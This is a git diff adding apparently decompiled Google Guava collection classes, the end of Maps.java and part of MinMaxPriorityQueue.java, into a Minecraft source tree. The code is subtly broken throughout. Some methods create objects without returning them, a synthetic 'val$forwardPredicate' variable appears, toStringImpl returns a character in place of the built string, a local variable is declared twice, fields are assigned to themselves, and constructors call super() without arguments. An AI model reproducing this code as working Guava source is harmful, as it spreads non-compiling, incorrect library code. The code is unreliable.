+    public void putAll(Map<? extends K, ? extends V> m)
+    {
+      filteredDelegate.putAll(m);
+    }
+    
+    public void clear()
+    {
+      filteredDelegate.clear();
+    }
+    
+    public Set<Map.Entry<K, V>> entrySet()
+    {
+      return filteredDelegate.entrySet();
+    }
+    
+    public Map.Entry<K, V> pollFirstEntry()
+    {
+      return (Map.Entry)Iterables.removeFirstMatching(unfiltered.entrySet(), entryPredicate);
+    }
+    
+    public Map.Entry<K, V> pollLastEntry()
+    {
+      return (Map.Entry)Iterables.removeFirstMatching(unfiltered.descendingMap().entrySet(), entryPredicate);
+    }
+    
+    public NavigableMap<K, V> descendingMap()
+    {
+      return Maps.filterEntries(unfiltered.descendingMap(), entryPredicate);
+    }
+    
+
+    public NavigableMap<K, V> subMap(K fromKey, boolean fromInclusive, K toKey, boolean toInclusive)
+    {
+      return Maps.filterEntries(unfiltered.subMap(fromKey, fromInclusive, toKey, toInclusive), entryPredicate);
+    }
+    
+
+    public NavigableMap<K, V> headMap(K toKey, boolean inclusive)
+    {
+      return Maps.filterEntries(unfiltered.headMap(toKey, inclusive), entryPredicate);
+    }
+    
+    public NavigableMap<K, V> tailMap(K fromKey, boolean inclusive)
+    {
+      return Maps.filterEntries(unfiltered.tailMap(fromKey, inclusive), entryPredicate);
+    }
+  }
+  
+
+
+
+
+  private static <K, V> BiMap<K, V> filterFiltered(FilteredEntryBiMap<K, V> map, Predicate<? super Map.Entry<K, V>> entryPredicate)
+  {
+    Predicate<Map.Entry<K, V>> predicate = Predicates.and(map.predicate, entryPredicate);
+    return new FilteredEntryBiMap(map.unfiltered(), predicate);
+  }
+  
+  static final class FilteredEntryBiMap<K, V> extends Maps.FilteredEntryMap<K, V> implements BiMap<K, V>
+  {
+    private final BiMap<V, K> inverse;
+    
+    private static <K, V> Predicate<Map.Entry<V, K>> inversePredicate(Predicate<? super Map.Entry<K, V>> forwardPredicate)
+    {
+      new Predicate()
+      {
+        public boolean apply(Map.Entry<V, K> input) {
+          return val$forwardPredicate.apply(Maps.immutableEntry(input.getValue(), input.getKey()));
+        }
+      };
+    }
+    
+
+    FilteredEntryBiMap(BiMap<K, V> delegate, Predicate<? super Map.Entry<K, V>> predicate)
+    {
+      super(predicate);
+      inverse = new FilteredEntryBiMap(delegate.inverse(), inversePredicate(predicate), this);
+    }
+    
+
+
+    private FilteredEntryBiMap(BiMap<K, V> delegate, Predicate<? super Map.Entry<K, V>> predicate, BiMap<V, K> inverse)
+    {
+      super(predicate);
+      this.inverse = inverse;
+    }
+    
+    BiMap<K, V> unfiltered() {
+      return (BiMap)unfiltered;
+    }
+    
+    public V forcePut(@Nullable K key, @Nullable V value)
+    {
+      Preconditions.checkArgument(apply(key, value));
+      return unfiltered().forcePut(key, value);
+    }
+    
+    public BiMap<V, K> inverse()
+    {
+      return inverse;
+    }
+    
+    public Set<V> values()
+    {
+      return inverse.keySet();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  @GwtIncompatible("NavigableMap")
+  public static <K, V> NavigableMap<K, V> unmodifiableNavigableMap(NavigableMap<K, V> map)
+  {
+    Preconditions.checkNotNull(map);
+    if ((map instanceof UnmodifiableNavigableMap)) {
+      return map;
+    }
+    return new UnmodifiableNavigableMap(map);
+  }
+  
+  @Nullable
+  private static <K, V> Map.Entry<K, V> unmodifiableOrNull(@Nullable Map.Entry<K, V> entry) {
+    return entry == null ? null : unmodifiableEntry(entry);
+  }
+  
+  @GwtIncompatible("NavigableMap")
+  static class UnmodifiableNavigableMap<K, V> extends ForwardingSortedMap<K, V> implements NavigableMap<K, V>, Serializable {
+    private final NavigableMap<K, V> delegate;
+    private transient UnmodifiableNavigableMap<K, V> descendingMap;
+    
+    UnmodifiableNavigableMap(NavigableMap<K, V> delegate) {
+      this.delegate = delegate;
+    }
+    
+    UnmodifiableNavigableMap(NavigableMap<K, V> delegate, UnmodifiableNavigableMap<K, V> descendingMap)
+    {
+      this.delegate = delegate;
+      this.descendingMap = descendingMap;
+    }
+    
+    protected SortedMap<K, V> delegate()
+    {
+      return Collections.unmodifiableSortedMap(delegate);
+    }
+    
+    public Map.Entry<K, V> lowerEntry(K key)
+    {
+      return Maps.unmodifiableOrNull(delegate.lowerEntry(key));
+    }
+    
+    public K lowerKey(K key)
+    {
+      return delegate.lowerKey(key);
+    }
+    
+    public Map.Entry<K, V> floorEntry(K key)
+    {
+      return Maps.unmodifiableOrNull(delegate.floorEntry(key));
+    }
+    
+    public K floorKey(K key)
+    {
+      return delegate.floorKey(key);
+    }
+    
+    public Map.Entry<K, V> ceilingEntry(K key)
+    {
+      return Maps.unmodifiableOrNull(delegate.ceilingEntry(key));
+    }
+    
+    public K ceilingKey(K key)
+    {
+      return delegate.ceilingKey(key);
+    }
+    
+    public Map.Entry<K, V> higherEntry(K key)
+    {
+      return Maps.unmodifiableOrNull(delegate.higherEntry(key));
+    }
+    
+    public K higherKey(K key)
+    {
+      return delegate.higherKey(key);
+    }
+    
+    public Map.Entry<K, V> firstEntry()
+    {
+      return Maps.unmodifiableOrNull(delegate.firstEntry());
+    }
+    
+    public Map.Entry<K, V> lastEntry()
+    {
+      return Maps.unmodifiableOrNull(delegate.lastEntry());
+    }
+    
+    public final Map.Entry<K, V> pollFirstEntry()
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public final Map.Entry<K, V> pollLastEntry()
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public NavigableMap<K, V> descendingMap()
+    {
+      UnmodifiableNavigableMap<K, V> result = descendingMap;
+      return result == null ? (this.descendingMap = new UnmodifiableNavigableMap(delegate.descendingMap(), this)) : result;
+    }
+    
+
+
+    public Set<K> keySet()
+    {
+      return navigableKeySet();
+    }
+    
+    public NavigableSet<K> navigableKeySet()
+    {
+      return Sets.unmodifiableNavigableSet(delegate.navigableKeySet());
+    }
+    
+    public NavigableSet<K> descendingKeySet()
+    {
+      return Sets.unmodifiableNavigableSet(delegate.descendingKeySet());
+    }
+    
+    public SortedMap<K, V> subMap(K fromKey, K toKey)
+    {
+      return subMap(fromKey, true, toKey, false);
+    }
+    
+    public SortedMap<K, V> headMap(K toKey)
+    {
+      return headMap(toKey, false);
+    }
+    
+    public SortedMap<K, V> tailMap(K fromKey)
+    {
+      return tailMap(fromKey, true);
+    }
+    
+
+
+    public NavigableMap<K, V> subMap(K fromKey, boolean fromInclusive, K toKey, boolean toInclusive)
+    {
+      return Maps.unmodifiableNavigableMap(delegate.subMap(fromKey, fromInclusive, toKey, toInclusive));
+    }
+    
+
+
+
+
+    public NavigableMap<K, V> headMap(K toKey, boolean inclusive)
+    {
+      return Maps.unmodifiableNavigableMap(delegate.headMap(toKey, inclusive));
+    }
+    
+    public NavigableMap<K, V> tailMap(K fromKey, boolean inclusive)
+    {
+      return Maps.unmodifiableNavigableMap(delegate.tailMap(fromKey, inclusive));
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @GwtIncompatible("NavigableMap")
+  public static <K, V> NavigableMap<K, V> synchronizedNavigableMap(NavigableMap<K, V> navigableMap)
+  {
+    return Synchronized.navigableMap(navigableMap);
+  }
+  
+
+  @GwtCompatible
+  static abstract class ImprovedAbstractMap<K, V>
+    extends AbstractMap<K, V>
+  {
+    private transient Set<Map.Entry<K, V>> entrySet;
+    
+    private transient Set<K> keySet;
+    
+    private transient Collection<V> values;
+    
+
+    ImprovedAbstractMap() {}
+    
+
+    abstract Set<Map.Entry<K, V>> createEntrySet();
+    
+    public Set<Map.Entry<K, V>> entrySet()
+    {
+      Set<Map.Entry<K, V>> result = entrySet;
+      return result == null ? (this.entrySet = createEntrySet()) : result;
+    }
+    
+
+    public Set<K> keySet()
+    {
+      Set<K> result = keySet;
+      return result == null ? (this.keySet = createKeySet()) : result;
+    }
+    
+    Set<K> createKeySet() {
+      return new Maps.KeySet(this);
+    }
+    
+
+    public Collection<V> values()
+    {
+      Collection<V> result = values;
+      return result == null ? (this.values = createValues()) : result;
+    }
+    
+    Collection<V> createValues() {
+      return new Maps.Values(this);
+    }
+  }
+  
+
+
+
+  static <V> V safeGet(Map<?, V> map, @Nullable Object key)
+  {
+    Preconditions.checkNotNull(map);
+    try {
+      return map.get(key);
+    } catch (ClassCastException e) {
+      return null;
+    } catch (NullPointerException e) {}
+    return null;
+  }
+  
+
+
+
+
+  static boolean safeContainsKey(Map<?, ?> map, Object key)
+  {
+    Preconditions.checkNotNull(map);
+    try {
+      return map.containsKey(key);
+    } catch (ClassCastException e) {
+      return false;
+    } catch (NullPointerException e) {}
+    return false;
+  }
+  
+
+
+
+
+  static <V> V safeRemove(Map<?, V> map, Object key)
+  {
+    Preconditions.checkNotNull(map);
+    try {
+      return map.remove(key);
+    } catch (ClassCastException e) {
+      return null;
+    } catch (NullPointerException e) {}
+    return null;
+  }
+  
+
+
+
+  static boolean containsKeyImpl(Map<?, ?> map, @Nullable Object key)
+  {
+    return Iterators.contains(keyIterator(map.entrySet().iterator()), key);
+  }
+  
+
+
+  static boolean containsValueImpl(Map<?, ?> map, @Nullable Object value)
+  {
+    return Iterators.contains(valueIterator(map.entrySet().iterator()), value);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  static <K, V> boolean containsEntryImpl(Collection<Map.Entry<K, V>> c, Object o)
+  {
+    if (!(o instanceof Map.Entry)) {
+      return false;
+    }
+    return c.contains(unmodifiableEntry((Map.Entry)o));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  static <K, V> boolean removeEntryImpl(Collection<Map.Entry<K, V>> c, Object o)
+  {
+    if (!(o instanceof Map.Entry)) {
+      return false;
+    }
+    return c.remove(unmodifiableEntry((Map.Entry)o));
+  }
+  
+
+
+  static boolean equalsImpl(Map<?, ?> map, Object object)
+  {
+    if (map == object)
+      return true;
+    if ((object instanceof Map)) {
+      Map<?, ?> o = (Map)object;
+      return map.entrySet().equals(o.entrySet());
+    }
+    return false;
+  }
+  
+  static final Joiner.MapJoiner STANDARD_JOINER = Collections2.STANDARD_JOINER.withKeyValueSeparator("=");
+  
+
+
+
+  static String toStringImpl(Map<?, ?> map)
+  {
+    StringBuilder sb = Collections2.newStringBuilderForCollection(map.size()).append('{');
+    
+    STANDARD_JOINER.appendTo(sb, map);
+    return '}';
+  }
+  
+
+
+
+  static <K, V> void putAllImpl(Map<K, V> self, Map<? extends K, ? extends V> map)
+  {
+    for (Map.Entry<? extends K, ? extends V> entry : map.entrySet()) {
+      self.put(entry.getKey(), entry.getValue());
+    }
+  }
+  
+  static class KeySet<K, V> extends Sets.ImprovedAbstractSet<K> {
+    final Map<K, V> map;
+    
+    KeySet(Map<K, V> map) {
+      this.map = ((Map)Preconditions.checkNotNull(map));
+    }
+    
+    Map<K, V> map() {
+      return map;
+    }
+    
+    public Iterator<K> iterator() {
+      return Maps.keyIterator(map().entrySet().iterator());
+    }
+    
+    public int size() {
+      return map().size();
+    }
+    
+    public boolean isEmpty() {
+      return map().isEmpty();
+    }
+    
+    public boolean contains(Object o) {
+      return map().containsKey(o);
+    }
+    
+    public boolean remove(Object o) {
+      if (contains(o)) {
+        map().remove(o);
+        return true;
+      }
+      return false;
+    }
+    
+    public void clear() {
+      map().clear();
+    }
+  }
+  
+  @Nullable
+  static <K> K keyOrNull(@Nullable Map.Entry<K, ?> entry) {
+    return entry == null ? null : entry.getKey();
+  }
+  
+  @Nullable
+  static <V> V valueOrNull(@Nullable Map.Entry<?, V> entry) {
+    return entry == null ? null : entry.getValue();
+  }
+  
+  static class SortedKeySet<K, V> extends Maps.KeySet<K, V> implements SortedSet<K> {
+    SortedKeySet(SortedMap<K, V> map) {
+      super();
+    }
+    
+    SortedMap<K, V> map()
+    {
+      return (SortedMap)super.map();
+    }
+    
+    public Comparator<? super K> comparator()
+    {
+      return map().comparator();
+    }
+    
+    public SortedSet<K> subSet(K fromElement, K toElement)
+    {
+      return new SortedKeySet(map().subMap(fromElement, toElement));
+    }
+    
+    public SortedSet<K> headSet(K toElement)
+    {
+      return new SortedKeySet(map().headMap(toElement));
+    }
+    
+    public SortedSet<K> tailSet(K fromElement)
+    {
+      return new SortedKeySet(map().tailMap(fromElement));
+    }
+    
+    public K first()
+    {
+      return map().firstKey();
+    }
+    
+    public K last()
+    {
+      return map().lastKey();
+    }
+  }
+  
+  @GwtIncompatible("NavigableMap")
+  static class NavigableKeySet<K, V> extends Maps.SortedKeySet<K, V> implements NavigableSet<K> {
+    NavigableKeySet(NavigableMap<K, V> map) {
+      super();
+    }
+    
+    NavigableMap<K, V> map()
+    {
+      return (NavigableMap)map;
+    }
+    
+    public K lower(K e)
+    {
+      return map().lowerKey(e);
+    }
+    
+    public K floor(K e)
+    {
+      return map().floorKey(e);
+    }
+    
+    public K ceiling(K e)
+    {
+      return map().ceilingKey(e);
+    }
+    
+    public K higher(K e)
+    {
+      return map().higherKey(e);
+    }
+    
+    public K pollFirst()
+    {
+      return Maps.keyOrNull(map().pollFirstEntry());
+    }
+    
+    public K pollLast()
+    {
+      return Maps.keyOrNull(map().pollLastEntry());
+    }
+    
+    public NavigableSet<K> descendingSet()
+    {
+      return map().descendingKeySet();
+    }
+    
+    public Iterator<K> descendingIterator()
+    {
+      return descendingSet().iterator();
+    }
+    
+
+
+
+
+    public NavigableSet<K> subSet(K fromElement, boolean fromInclusive, K toElement, boolean toInclusive)
+    {
+      return map().subMap(fromElement, fromInclusive, toElement, toInclusive).navigableKeySet();
+    }
+    
+    public NavigableSet<K> headSet(K toElement, boolean inclusive)
+    {
+      return map().headMap(toElement, inclusive).navigableKeySet();
+    }
+    
+    public NavigableSet<K> tailSet(K fromElement, boolean inclusive)
+    {
+      return map().tailMap(fromElement, inclusive).navigableKeySet();
+    }
+    
+    public SortedSet<K> subSet(K fromElement, K toElement)
+    {
+      return subSet(fromElement, true, toElement, false);
+    }
+    
+    public SortedSet<K> headSet(K toElement)
+    {
+      return headSet(toElement, false);
+    }
+    
+    public SortedSet<K> tailSet(K fromElement)
+    {
+      return tailSet(fromElement, true);
+    }
+  }
+  
+  static class Values<K, V> extends AbstractCollection<V> {
+    final Map<K, V> map;
+    
+    Values(Map<K, V> map) {
+      this.map = ((Map)Preconditions.checkNotNull(map));
+    }
+    
+    final Map<K, V> map() {
+      return map;
+    }
+    
+    public Iterator<V> iterator() {
+      return Maps.valueIterator(map().entrySet().iterator());
+    }
+    
+    public boolean remove(Object o) {
+      try {
+        return super.remove(o);
+      } catch (UnsupportedOperationException e) {
+        for (Map.Entry<K, V> entry : map().entrySet())
+          if (Objects.equal(o, entry.getValue())) {
+            map().remove(entry.getKey());
+            return true;
+          }
+      }
+      return false;
+    }
+    
+    public boolean removeAll(Collection<?> c)
+    {
+      try {
+        return super.removeAll((Collection)Preconditions.checkNotNull(c));
+      } catch (UnsupportedOperationException e) {
+        Set<K> toRemove = Sets.newHashSet();
+        for (Map.Entry<K, V> entry : map().entrySet()) {
+          if (c.contains(entry.getValue())) {
+            toRemove.add(entry.getKey());
+          }
+        }
+        return map().keySet().removeAll(toRemove);
+      }
+    }
+    
+    public boolean retainAll(Collection<?> c) {
+      try {
+        return super.retainAll((Collection)Preconditions.checkNotNull(c));
+      } catch (UnsupportedOperationException e) {
+        Set<K> toRetain = Sets.newHashSet();
+        for (Map.Entry<K, V> entry : map().entrySet()) {
+          if (c.contains(entry.getValue())) {
+            toRetain.add(entry.getKey());
+          }
+        }
+        return map().keySet().retainAll(toRetain);
+      }
+    }
+    
+    public int size() {
+      return map().size();
+    }
+    
+    public boolean isEmpty() {
+      return map().isEmpty();
+    }
+    
+    public boolean contains(@Nullable Object o) {
+      return map().containsValue(o);
+    }
+    
+    public void clear() {
+      map().clear();
+    }
+  }
+  
+  static abstract class EntrySet<K, V> extends Sets.ImprovedAbstractSet<Map.Entry<K, V>> {
+    EntrySet() {}
+    
+    abstract Map<K, V> map();
+    
+    public int size() { return map().size(); }
+    
+    public void clear()
+    {
+      map().clear();
+    }
+    
+    public boolean contains(Object o) {
+      if ((o instanceof Map.Entry)) {
+        Map.Entry<?, ?> entry = (Map.Entry)o;
+        Object key = entry.getKey();
+        V value = Maps.safeGet(map(), key);
+        return (Objects.equal(value, entry.getValue())) && ((value != null) || (map().containsKey(key)));
+      }
+      
+      return false;
+    }
+    
+    public boolean isEmpty() {
+      return map().isEmpty();
+    }
+    
+    public boolean remove(Object o) {
+      if (contains(o)) {
+        Map.Entry<?, ?> entry = (Map.Entry)o;
+        return map().keySet().remove(entry.getKey());
+      }
+      return false;
+    }
+    
+    public boolean removeAll(Collection<?> c) {
+      try {
+        return super.removeAll((Collection)Preconditions.checkNotNull(c));
+      }
+      catch (UnsupportedOperationException e) {}
+      return Sets.removeAllImpl(this, c.iterator());
+    }
+    
+    public boolean retainAll(Collection<?> c)
+    {
+      try {
+        return super.retainAll((Collection)Preconditions.checkNotNull(c));
+      }
+      catch (UnsupportedOperationException e) {
+        Set<Object> keys = Sets.newHashSetWithExpectedSize(c.size());
+        for (Object o : c) {
+          if (contains(o)) {
+            Map.Entry<?, ?> entry = (Map.Entry)o;
+            keys.add(entry.getKey());
+          }
+        }
+        return map().keySet().retainAll(keys);
+      }
+    } }
+  
+  @GwtIncompatible("NavigableMap")
+  static abstract class DescendingMap<K, V> extends ForwardingMap<K, V> implements NavigableMap<K, V> { private transient Comparator<? super K> comparator;
+    private transient Set<Map.Entry<K, V>> entrySet;
+    private transient NavigableSet<K> navigableKeySet;
+    
+    DescendingMap() {}
+    
+    abstract NavigableMap<K, V> forward();
+    
+    protected final Map<K, V> delegate() { return forward(); }
+    
+
+
+
+
+    public Comparator<? super K> comparator()
+    {
+      Comparator<? super K> result = comparator;
+      if (result == null) {
+        Comparator<? super K> forwardCmp = forward().comparator();
+        if (forwardCmp == null) {
+          forwardCmp = Ordering.natural();
+        }
+        result = this.comparator = reverse(forwardCmp);
+      }
+      return result;
+    }
+    
+    private static <T> Ordering<T> reverse(Comparator<T> forward)
+    {
+      return Ordering.from(forward).reverse();
+    }
+    
+    public K firstKey()
+    {
+      return forward().lastKey();
+    }
+    
+    public K lastKey()
+    {
+      return forward().firstKey();
+    }
+    
+    public Map.Entry<K, V> lowerEntry(K key)
+    {
+      return forward().higherEntry(key);
+    }
+    
+    public K lowerKey(K key)
+    {
+      return forward().higherKey(key);
+    }
+    
+    public Map.Entry<K, V> floorEntry(K key)
+    {
+      return forward().ceilingEntry(key);
+    }
+    
+    public K floorKey(K key)
+    {
+      return forward().ceilingKey(key);
+    }
+    
+    public Map.Entry<K, V> ceilingEntry(K key)
+    {
+      return forward().floorEntry(key);
+    }
+    
+    public K ceilingKey(K key)
+    {
+      return forward().floorKey(key);
+    }
+    
+    public Map.Entry<K, V> higherEntry(K key)
+    {
+      return forward().lowerEntry(key);
+    }
+    
+    public K higherKey(K key)
+    {
+      return forward().lowerKey(key);
+    }
+    
+    public Map.Entry<K, V> firstEntry()
+    {
+      return forward().lastEntry();
+    }
+    
+    public Map.Entry<K, V> lastEntry()
+    {
+      return forward().firstEntry();
+    }
+    
+    public Map.Entry<K, V> pollFirstEntry()
+    {
+      return forward().pollLastEntry();
+    }
+    
+    public Map.Entry<K, V> pollLastEntry()
+    {
+      return forward().pollFirstEntry();
+    }
+    
+    public NavigableMap<K, V> descendingMap()
+    {
+      return forward();
+    }
+    
+
+
+    public Set<Map.Entry<K, V>> entrySet()
+    {
+      Set<Map.Entry<K, V>> result = entrySet;
+      return result == null ? (this.entrySet = createEntrySet()) : result;
+    }
+    
+    abstract Iterator<Map.Entry<K, V>> entryIterator();
+    
+    Set<Map.Entry<K, V>> createEntrySet() {
+      new Maps.EntrySet()
+      {
+        Map<K, V> map() {
+          return Maps.DescendingMap.this;
+        }
+        
+        public Iterator<Map.Entry<K, V>> iterator()
+        {
+          return entryIterator();
+        }
+      };
+    }
+    
+    public Set<K> keySet()
+    {
+      return navigableKeySet();
+    }
+    
+
+
+    public NavigableSet<K> navigableKeySet()
+    {
+      NavigableSet<K> result = navigableKeySet;
+      return result == null ? (this.navigableKeySet = new Maps.NavigableKeySet(this)) : result;
+    }
+    
+    public NavigableSet<K> descendingKeySet()
+    {
+      return forward().navigableKeySet();
+    }
+    
+
+
+    public NavigableMap<K, V> subMap(K fromKey, boolean fromInclusive, K toKey, boolean toInclusive)
+    {
+      return forward().subMap(toKey, toInclusive, fromKey, fromInclusive).descendingMap();
+    }
+    
+    public NavigableMap<K, V> headMap(K toKey, boolean inclusive)
+    {
+      return forward().tailMap(toKey, inclusive).descendingMap();
+    }
+    
+    public NavigableMap<K, V> tailMap(K fromKey, boolean inclusive)
+    {
+      return forward().headMap(fromKey, inclusive).descendingMap();
+    }
+    
+    public SortedMap<K, V> subMap(K fromKey, K toKey)
+    {
+      return subMap(fromKey, true, toKey, false);
+    }
+    
+    public SortedMap<K, V> headMap(K toKey)
+    {
+      return headMap(toKey, false);
+    }
+    
+    public SortedMap<K, V> tailMap(K fromKey)
+    {
+      return tailMap(fromKey, true);
+    }
+    
+    public Collection<V> values()
+    {
+      return new Maps.Values(this);
+    }
+    
+    public String toString()
+    {
+      return standardToString();
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/MinMaxPriorityQueue.java b/src/minecraft/com/google/common/collect/MinMaxPriorityQueue.java
new file mode 100644
index 0000000..2f06adc
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/MinMaxPriorityQueue.java
@@ -0,0 +1,939 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.VisibleForTesting;
+import com.google.common.base.Preconditions;
+import com.google.common.math.IntMath;
+import java.util.AbstractQueue;
+import java.util.ArrayDeque;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.Comparator;
+import java.util.ConcurrentModificationException;
+import java.util.Iterator;
+import java.util.List;
+import java.util.NoSuchElementException;
+import java.util.Queue;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public final class MinMaxPriorityQueue<E>
+  extends AbstractQueue<E>
+{
+  private final MinMaxPriorityQueue<E>.Heap minHeap;
+  private final MinMaxPriorityQueue<E>.Heap maxHeap;
+  @VisibleForTesting
+  final int maximumSize;
+  private Object[] queue;
+  private int size;
+  private int modCount;
+  private static final int EVEN_POWERS_OF_TWO = 1431655765;
+  private static final int ODD_POWERS_OF_TWO = -1431655766;
+  private static final int DEFAULT_CAPACITY = 11;
+  
+  public static <E extends Comparable<E>> MinMaxPriorityQueue<E> create()
+  {
+    return new Builder(Ordering.natural(), null).create();
+  }
+  
+
+
+
+
+  public static <E extends Comparable<E>> MinMaxPriorityQueue<E> create(Iterable<? extends E> initialContents)
+  {
+    return new Builder(Ordering.natural(), null).create(initialContents);
+  }
+  
+
+
+
+
+  public static <B> Builder<B> orderedBy(Comparator<B> comparator)
+  {
+    return new Builder(comparator, null);
+  }
+  
+
+
+
+
+  public static Builder<Comparable> expectedSize(int expectedSize)
+  {
+    return new Builder(Ordering.natural(), null).expectedSize(expectedSize);
+  }
+  
+
+
+
+
+
+
+
+  public static Builder<Comparable> maximumSize(int maximumSize)
+  {
+    return new Builder(Ordering.natural(), null).maximumSize(maximumSize);
+  }
+  
+
+
+
+
+
+
+  @Beta
+  public static final class Builder<B>
+  {
+    private static final int UNSET_EXPECTED_SIZE = -1;
+    
+
+
+
+
+
+    private final Comparator<B> comparator;
+    
+
+
+
+
+
+    private int expectedSize = -1;
+    private int maximumSize = Integer.MAX_VALUE;
+    
+    private Builder(Comparator<B> comparator) {
+      this.comparator = ((Comparator)Preconditions.checkNotNull(comparator));
+    }
+    
+
+
+
+    public Builder<B> expectedSize(int expectedSize)
+    {
+      Preconditions.checkArgument(expectedSize >= 0);
+      this.expectedSize = expectedSize;
+      return this;
+    }
+    
+
+
+
+
+
+    public Builder<B> maximumSize(int maximumSize)
+    {
+      Preconditions.checkArgument(maximumSize > 0);
+      this.maximumSize = maximumSize;
+      return this;
+    }
+    
+
+
+
+    public <T extends B> MinMaxPriorityQueue<T> create()
+    {
+      return create(Collections.emptySet());
+    }
+    
+
+
+
+
+    public <T extends B> MinMaxPriorityQueue<T> create(Iterable<? extends T> initialContents)
+    {
+      MinMaxPriorityQueue<T> queue = new MinMaxPriorityQueue(this, MinMaxPriorityQueue.initialQueueSize(expectedSize, maximumSize, initialContents), null);
+      
+      for (T element : initialContents) {
+        queue.offer(element);
+      }
+      return queue;
+    }
+    
+    private <T extends B> Ordering<T> ordering()
+    {
+      return Ordering.from(comparator);
+    }
+  }
+  
+
+
+
+
+
+
+  private MinMaxPriorityQueue(Builder<? super E> builder, int queueSize)
+  {
+    Ordering<E> ordering = builder.ordering();
+    minHeap = new Heap(ordering);
+    maxHeap = new Heap(ordering.reverse());
+    minHeap.otherHeap = maxHeap;
+    maxHeap.otherHeap = minHeap;
+    
+    maximumSize = maximumSize;
+    
+    queue = new Object[queueSize];
+  }
+  
+  public int size() {
+    return size;
+  }
+  
+
+
+
+
+
+
+
+  public boolean add(E element)
+  {
+    offer(element);
+    return true;
+  }
+  
+  public boolean addAll(Collection<? extends E> newElements) {
+    boolean modified = false;
+    for (E element : newElements) {
+      offer(element);
+      modified = true;
+    }
+    return modified;
+  }
+  
+
+
+
+
+
+  public boolean offer(E element)
+  {
+    Preconditions.checkNotNull(element);
+    modCount += 1;
+    int insertIndex = size++;
+    
+    growIfNeeded();
+    
+
+
+    heapForIndex(insertIndex).bubbleUp(insertIndex, element);
+    return (size <= maximumSize) || (pollLast() != element);
+  }
+  
+  public E poll() {
+    return isEmpty() ? null : removeAndGet(0);
+  }
+  
+  E elementData(int index)
+  {
+    return queue[index];
+  }
+  
+  public E peek() {
+    return isEmpty() ? null : elementData(0);
+  }
+  
+
+
+  private int getMaxElementIndex()
+  {
+    switch (size) {
+    case 1: 
+      return 0;
+    case 2: 
+      return 1;
+    }
+    
+    
+    return maxHeap.compareElements(1, 2) <= 0 ? 1 : 2;
+  }
+  
+
+
+
+
+  public E pollFirst()
+  {
+    return poll();
+  }
+  
+
+
+
+
+  public E removeFirst()
+  {
+    return remove();
+  }
+  
+
+
+
+  public E peekFirst()
+  {
+    return peek();
+  }
+  
+
+
+
+  public E pollLast()
+  {
+    return isEmpty() ? null : removeAndGet(getMaxElementIndex());
+  }
+  
+
+
+
+
+  public E removeLast()
+  {
+    if (isEmpty()) {
+      throw new NoSuchElementException();
+    }
+    return removeAndGet(getMaxElementIndex());
+  }
+  
+
+
+
+  public E peekLast()
+  {
+    return isEmpty() ? null : elementData(getMaxElementIndex());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @VisibleForTesting
+  MoveDesc<E> removeAt(int index)
+  {
+    Preconditions.checkPositionIndex(index, size);
+    modCount += 1;
+    size -= 1;
+    if (size == index) {
+      queue[size] = null;
+      return null;
+    }
+    E actualLastElement = elementData(size);
+    int lastElementAt = heapForIndex(size).getCorrectLastElement(actualLastElement);
+    
+    E toTrickle = elementData(size);
+    queue[size] = null;
+    MoveDesc<E> changes = fillHole(index, toTrickle);
+    if (lastElementAt < index)
+    {
+      if (changes == null)
+      {
+        return new MoveDesc(actualLastElement, toTrickle);
+      }
+      
+
+      return new MoveDesc(actualLastElement, replaced);
+    }
+    
+
+    return changes;
+  }
+  
+  private MoveDesc<E> fillHole(int index, E toTrickle) {
+    MinMaxPriorityQueue<E>.Heap heap = heapForIndex(index);
+    
+
+
+
+
+
+
+    int vacated = heap.fillHoleAt(index);
+    
+    int bubbledTo = heap.bubbleUpAlternatingLevels(vacated, toTrickle);
+    if (bubbledTo == vacated)
+    {
+
+
+      return heap.tryCrossOverAndBubbleUp(index, vacated, toTrickle);
+    }
+    return bubbledTo < index ? new MoveDesc(toTrickle, elementData(index)) : null;
+  }
+  
+
+  static class MoveDesc<E>
+  {
+    final E toTrickle;
+    
+    final E replaced;
+    
+    MoveDesc(E toTrickle, E replaced)
+    {
+      this.toTrickle = toTrickle;
+      this.replaced = replaced;
+    }
+  }
+  
+
+
+  private E removeAndGet(int index)
+  {
+    E value = elementData(index);
+    removeAt(index);
+    return value;
+  }
+  
+  private MinMaxPriorityQueue<E>.Heap heapForIndex(int i) {
+    return isEvenLevel(i) ? minHeap : maxHeap;
+  }
+  
+
+  @VisibleForTesting
+  static boolean isEvenLevel(int index)
+  {
+    int oneBased = index + 1;
+    Preconditions.checkState(oneBased > 0, "negative index");
+    return (oneBased & 0x55555555) > (oneBased & 0xAAAAAAAA);
+  }
+  
+
+
+
+
+  @VisibleForTesting
+  boolean isIntact()
+  {
+    for (int i = 1; i < size; i++) {
+      if (!heapForIndex(i).verifyIndex(i)) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+  private class Heap
+  {
+    final Ordering<E> ordering;
+    
+    MinMaxPriorityQueue<E>.Heap otherHeap;
+    
+
+    Heap()
+    {
+      this.ordering = ordering;
+    }
+    
+    int compareElements(int a, int b) {
+      return ordering.compare(elementData(a), elementData(b));
+    }
+    
+
+
+
+
+
+    MinMaxPriorityQueue.MoveDesc<E> tryCrossOverAndBubbleUp(int removeIndex, int vacated, E toTrickle)
+    {
+      int crossOver = crossOver(vacated, toTrickle);
+      if (crossOver == vacated) {
+        return null;
+      }
+      
+
+      E parent;
+      
+      E parent;
+      
+      if (crossOver < removeIndex)
+      {
+
+        parent = elementData(removeIndex);
+      } else {
+        parent = elementData(getParentIndex(removeIndex));
+      }
+      
